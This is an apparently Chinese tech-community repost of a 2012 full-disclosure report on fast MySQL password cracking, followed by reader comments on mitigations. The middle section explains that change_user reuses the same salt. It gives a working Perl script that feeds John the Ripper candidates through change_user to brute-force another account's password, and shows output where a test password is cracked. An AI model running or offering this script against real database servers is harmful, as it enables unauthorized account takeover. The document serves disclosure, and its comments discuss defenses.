快速的 MySQL 本地和远程密码破解

红薯 发布于 2012/12/05 08:00
阅读 13K+
收藏 139

只看标题的浮躁用户请特别注意以下内容!!!

快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。

我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。

方法如下:

攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。

是什么导致非常慢?

因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。

下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:

测试的用户是 crackme 密码为 pass,只需数秒就可破解。

(大约 20 秒钟可测试 10 万密码)

测试脚本如下:
use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
 hostname => '192.168.2.3',
 database => 'test',
 user     => "user",
 password => "secret",
 debug => 0,
);

$crackuser = "crackme";

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join "\0",
        $crackuser,
        "\x14".
        Net::MySQL::Password->scramble(
            $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
        ) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
    print "[*] Cracked! --> $currentpass\n";
    exit;
}
}

下面是我这台机器上的执行结果:

C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo

hn --incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2
[*] Cracked! --> pass
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs

Session aborted

祝你好运:)

via grok

加载中
0
sin30
sin30
http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089076.html
sin30
sin30
回复 @红薯 : 我错了,大红薯。。。我浮躁了
红薯
红薯
文章底部已有标注链接,多此一举
0
keengo
keengo
基本上看到的攻击,破解脚本,大都用perl写的。
0
蟋蟀哥哥
蟋蟀哥哥
最近不是报了一个mysql提权漏洞么。。我没仔细去看
奇葩100
奇葩100
那不是漏洞,只是权限设置的失误,File_priv对普通用户应该设置为N,而不应该是Y。
0
justjavac
justjavac
有用,收藏了。
0
奇葩100
奇葩100
密码长度设置在9位就可降低这个破解的概率
0
xxwgcg
xxwgcg

最后一个是错别字;

0
steven_ali
steven_ali
大小写字母数字组合的8位数被破解的概率呢
0
回去干活
回去干活
我还以为是PHP.
0
RyaneLuo
RyaneLuo
提醒大家一下,嵌入式系统的busybox的salt,也是固定的。
0
eechen
eechen

MySQL服务器不开放远程连接,只允许本地连接,但可以通过OpenSSH端口转发支持远程连接.
需要远程管理的话可以用SSH通过端口转发把远程MySQL的端口映射到客户端本地端口.
这样不仅传输的数据是加密的,而且连接数据库还必须经过SSH密钥认证.
这样设置对远程管理VPS来说已经很安全和方便了.
如果MySQL是单独的数据库服务器,必须支持其他机器连接,那也不能简单的开放远程连接,
应该指定具体的mysql.user的host值.
当然MySQL的超级用户可以改名不用默认的root,密码足够复杂,端口不用默认的端口号3306.

返回顶部
顶部